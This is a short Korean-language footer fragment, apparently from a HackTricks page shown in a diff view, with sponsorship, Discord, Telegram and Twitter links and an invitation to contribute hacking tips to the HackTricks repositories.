* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter**에서 **팔로우**하세요** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
Loading…
Reference in a new issue